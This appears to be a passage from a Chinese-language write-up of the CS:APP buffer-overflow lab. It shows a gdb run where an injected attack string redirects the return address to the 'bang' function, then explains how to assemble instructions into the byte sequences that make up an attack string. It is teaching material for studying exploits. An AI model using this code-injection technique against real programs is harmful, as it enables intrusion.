可以看到返回地址的存储位置上的值已经变成了0x55683387,这就是我们在攻击字符串中设置input string存放的位置作为第一次ret 指令的目标位置。
继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。
(gdb) c
Continuing.
Type string:Bang!: You set global_value to 0x6822364a
VALID
NICE JOB!
[Inferior 1 (process 2696) exited normally]
程序输出可以看出我们成功调用了bang函数,也就是成功完成了Level 2: bang的实验任务。
为方便生成指令序列的字节编码表示(例如用于 Level 2-4),可以依次使用 GCC 和 OBJDUMP 对所设计完成特定攻击目标的汇编指令序列进行汇编并再反汇编,从而得到指令 序列的字节编码表示。
例如,可编写一个 example.S 文件包含如下汇编代码:
# Example of hand-generated assembly code
push $0xabcdef # Push value onto stack
add $17,%eax # Add 17 to %eax
.align 4 # Following will be aligned on multiple of 4
.long 0xfedcba98 # A 4-byte constant
然后,可如下汇编再反汇编该文件:
linux>gcc -m32 -c example.S linux>objdump -d example.o > example.d
生成的 example.d 文件包含如下代码行:
0: 68 ef cd ab 00 push $0xabcdef
5: 83 c0 11 add $0x11,%eax
8: 98 cwtl
9: ba .byte 0xba
a: dc fe fdivr %st,%st(6)
其中,每行显示一个单独的指令。左边的数字表示指令的起始地址(从 0 开始),”:” 之后的 16 进制数字给出指令的字节编码(即实验所需的编码后的攻击字符串内容)。例如, 指令”push $0xabcdef“对应的 16 进制字节编码为”68 ef cd ab 00“。 然而,注意从地址“8”开始,反汇编器错误地将本来对应程序中静态数据的多个字节解释 成了指令(cwtl)。实际上,从该地址起的 4 个字节“98 ba dc fe”对应于前述 example.S 文 件中最后的数据 0xfedcba98 的小端字节表示。
按上述步骤确定了所设计机器指令对应的字节序列“68 ef cd ab 00 83 c0 11 98 ba dc fe”后,就可以把该十六进制格式字符串输入 hex2raw 程序以产生一个用于输入到 bufbomb 程序的攻击字符串。更方便的方法是,由于 hex2raw 程序支持在输入字符串中包含 C 语言 块注释(以方便用户理解其中字符串对应的指令),可以编辑修改 example.d 文件为如下形 式(将反汇编结果中的指令说明变为注释):
68 ef cd ab 00 /* push $0xabcdef */
83 c0 11 /* add $0x11,%eax */
98 ba dc fe
然后就可将该文件做为 hex2raw 程序的输入进行实验